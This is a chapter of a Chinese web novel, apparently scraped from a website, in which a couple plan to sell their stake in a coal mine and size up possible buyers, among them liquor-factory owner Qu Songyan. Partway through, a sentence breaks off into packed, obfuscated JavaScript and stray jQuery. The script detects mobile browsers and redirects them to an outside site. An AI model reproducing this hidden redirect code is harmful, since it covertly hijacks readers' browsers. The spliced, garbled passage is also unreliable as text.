和邢立骁商量卖掉股份,并在搬家去沪市上达成一致不难,但他们想顺利卖掉股份,却并不容易。
首先,能眼也不眨拿出上百万买股份的有钱人是少数。
按照两人的预估,如果能有充足的时间和客户磨价格,他们手里的股份别说两百万,翻个倍,谈到四百万都不是问题。
当然,他们没有那么多时间跟人磨价,所以两人的心理价位不高,一百五十万保底,谈到两百万万岁。
问题在于改开虽然已经有十多年,但内陆地区在这方面反应相对慢一些,到八五年后才陆续有人做生意,规模还都不怎么大。
就像前面说的,别说县城,就算是石城市,有百万身家的都不多。
更何况,他们想要的不止一百万。
虽然拿到银行项目,这些有百万身家的想找银行贷上百万不难,但贷款审核需要时间,而余兰英他们,最缺的就是时间。
想要尽快完成交易,他们找的买家身家必须超过两百万,且能轻易拿出两百万现金。
因为只有这样,买家才能在买下股份之余,还有钱投资建设煤矿。
煤矿建设开采成本不小,买家出了大头,村里同意他们卖股份的概率也更大,谁都想躺着收钱嘛。
而这,也是余兰英夫妻心理价位不超过两百万的主要原因,他们什么依仗都没有,该让步的时候,必须让步。
但就算他们让步了,石城范围内能拿出这笔钱的恐怕都屈指可数。
其次,这人必须有点势力,因为股份不是他们愿意就能卖掉,还需要村里干部同意。
那村里干部会轻易同意他们卖股份吗?
余兰英认为答案是否。
明眼人都能看出,新发现的煤矿是金饽饽,一旦他们将消息报上去,村里那些干部,肯定都想掺一脚。
虽然明面上他们不能掺和,可谁家没有三两亲戚呢?
要是哪个嘴巴不够严,导致消息传开,想掺一脚的肯定更多。
当然,因为发现煤矿的是余兰英夫妻,有协议在,他们不想卖股份,除了像李平坤这样心黑手狠,敢谋财害命的,其他人再想要股份也没办法。
但如果他们准备卖股份的消息传开,这些没有办法的人肯定都会起心思。
协议上虽然没有限制股份买卖,更没规定只能卖给村里人,但找村干部的人多了,他们可能会反对余兰英夫妻将股份卖给陌生人。
村里有煤矿一半股份,村干部不同意,他们这股份就很难成功卖出去。
而村里,肯定没有人能拿一口气拿出上百万。
虽然村里人想买股份,大概率会选择几人合伙,但东平村只是因为背靠国营煤矿,会开车的人多,村民才相对富裕。
而自己运煤挣的虽然多,但能全款买车的人少,大多数要么跟人合伙,要么像他一样贷款。所以东平村的人,能拿出万把块的不少,可能拿出十万块的,几乎没有。
再加上熟人之间做交易,谈利益的时候总有人讲感情,谈感情的时候又喜欢说公事公办,真把股份卖给村里人,他们能到手的钱,估计得在心理价位基础上打骨折。
真把股份卖给村里人,他们还不如低价卖一半股份,拉拢部分可以拉拢的人,这样能相对保证安全,最后拿到的钱也更多。
但因为李平坤的存在,余兰英只把这条路当成备选。
除非实在找不到买家,否则她更倾向于将股份全部卖掉,带着钱去沪市过新生活。
总之,为了避免村里人掺和一脚,所以买家必须在市里有点关系。
这样在他愿意出大头建设煤矿的情况下,不管是为了利益,还是估计对方的背景,村里干部都不会太反对他们之间的交易。
但同时,这人的关系不能太强劲,也不能太深入基层,跟镇上甚至村里的人扯上关系。否则买家在知道煤矿位置后,完全可以踢掉邢立骁,自己跟村里谈。
真要这样,就算余兰英夫妻有协议,也很难扛过村里和买家联合压价。
最后就是买家人品不能太差,不管对方是言而无信,还是过河拆桥,都可能导致他们竹篮打水一场空。
列出所有条件,余兰英眉毛不自觉皱起。
这些条件中,筛人厉害的看似是第一个条件,其实后几个条件更麻烦。
有钱是很难藏得住的,除了做灰色生意的,大多数有钱人不管是开店还是办厂,总有产业在那里。
规模大不大,效益好不好,稍一打听就知道了。
而关系是杀手锏,绝大多数人都不会暴露自己有哪些关系。人品更是难以考较,哪怕是长年累月的相处,也很难判断好坏。
如果他们时间充裕还好说,但这件事拖不得,他们必须尽快找到买家。这样一来,想找到符合所有条件的人就难了。
但考虑过后,余兰英没有急着减少条件。
先照着条件找呗,实在找不到再琢磨哪个条件能删,他们的时间虽然不充裕,但也没有赶到要今天就定下人选的程度。
至于买家要怎么找,余兰英直接问的邢立骁:“你认识的人中,有没有符合这些条件的?”
她倒没觉得邢立骁一定认识身家上百万的大老板,但因为国营厂采购相对规范,需要煤都是直接联系煤矿,由煤矿安排运输,所以他的客户,基本都是开私营厂的。
虽然这些私营厂中,规模大的他基本只能见到燃料供应科或者锅炉房的人,但时间长了,多少能知道一些老板的情况。
反正他认识的人中没有完全符合条件的,他们还可以继续找其他人嘛。
邢立骁还真认识符合条件的人,很快说出个人名:“曲松岩。”
余兰英觉得这名字有点耳熟,但一时又想不起来是干什么的,问道:“他是?”
“他是曲中味的老板。”
余兰英想起来了,她确实听过曲松岩的名字,但不是这辈子,而是前世。
曲中味是石城本地的一家私营酒厂,虽然成立时间不长,但因为酿造的白酒口感好,很快在省内有了名气。
尤其是石城范围内,这个时期普通人逢年过节走亲戚,都会提一瓶曲中味的白酒。
而在两年后,曲中味的名气会响彻全国。
大概是今年,央视广告部改革,开始进行“央视黄金时段招标”,拍卖《新闻联播》前后黄金时段广告。[1]
作为一家不知名的酒厂,孔府宴酒在夺得央视标王,广告登上央视黄金时段迅速走红,孔府宴酒这一年的销售收入也飙升到了九亿多。
孔府宴酒的案例出来后,央视广告价格跟着水涨船高,但次年竞争广告播放权的厂商也跟着成倍增长。
而其中最舍得出钱的,还是酒厂。
九五年,曲中味以六千多万的价格,抢得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463995|185432||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了央视黄金时段广告播放权。
等到九六年广告播出,曲中味迅速名声大噪,营收持续增长的同时,规模也不断扩大。
后来那些年里,曲中味虽然经历过生存危机,但最终还是熬了过来,到余兰英重返加石城时,曲松岩不仅是石城首富,他的身家,在全国都排得上名次。
刚才列那些条件时,余兰英也想到了曲中味的老板,但她只知道对方姓曲,也没跟人接触过,不清楚对方人品如何,所以没有立刻提出。
她没有想到,邢立骁第一个提起的也是他,疑惑问道:“你认识曲松岩?”
邢立骁说道:“我给酒厂送煤的时候见过他几次。”
酿酒过程中的蒸馏环节需要加热,煤炭是常用燃料之一。
而新平镇国营煤矿离得不远,煤炭成色不错,不管是售价还是运输都相对便宜。国营煤矿的销售科又早已形同虚设,基本只跟国营厂对接,曲中味是私营厂,会通过邢立骁采购煤炭也正常。
至于曲松岩有没有财力吃下他们手里的股份,余兰英并不怀疑。
虽然曲中味斥资六千多万拍下央视广告播放权是明年年底的事,且据说广告费用可以分期付款,无需一次付清。
但头期款肯定要在合同签订,广告播出前给,总价六千多万,头期款怎么也得有个千把万。
再考虑到曲中味旗下白酒早已在省内铺开,厂子规模也不小,曲松岩作为酒厂唯一的老板,身家没准真有几百万。
想到这里,余兰英问:“曲松岩是哪里人?”
邢立骁说了个外省地名:“他早年来的我们省当兵,因为娶了个石城媳妇,转业后进了市里酒厂工作,这家酒厂就是曲中味的前身。”
至于曲松岩媳妇家的情况,邢立骁也听说过一些:“据说他媳妇是独生女,娘家没什么亲戚了,不过他能把酒厂办到现在的规模,关系肯定有一些,但关系多硬,不太好说。”
既然是外地人,妻子娘家又没人了,那曲松岩在新平镇应该也没什么关系。
余兰英思索着问:“你觉得他人品怎么样?”
“他口碑不错,几次接触,他都表现得很和气,但再深就不清楚了。”
不过除了曲松岩,邢立骁还认识个省城的老板。
说认识不太准确,他跟对方的工厂虽然有业务往来,但跟人只打过一次照面,论熟悉还不如曲松岩。
但他跟对方厂里负责接收煤炭的干事关系处得不错,从对方口中知道了不少他的事,基本能确定他符合条件。
余兰英听后眼睛一亮。
虽然邢立骁跟这两个人接触都不多,对他们了解有限,很难判断对方是真的人品好,还是伪君子。
可他们跟李平坤接触倒是不少,在李平坤对邢立骁动手前,他们不也没看出他这么心狠手辣吗?
知人知面不知心,本身这世上很多人,都是没到时候很难分清楚是人是鬼,他们也不可能找到目标后一个个去试探。
一是没这时间,二是没这能耐。
邢立骁能从认识的人中扒拉出两个大致符合条件的,已经足够让人惊喜。
剩下的,是骡子是马,拉出来溜溜就知道。
余兰英说道:“先想办法见见这两个人吧,跟他们都聊聊,看他们对煤矿有没有兴趣,再考虑其他的。”
邢立骁也这么想,点头说道:“行。”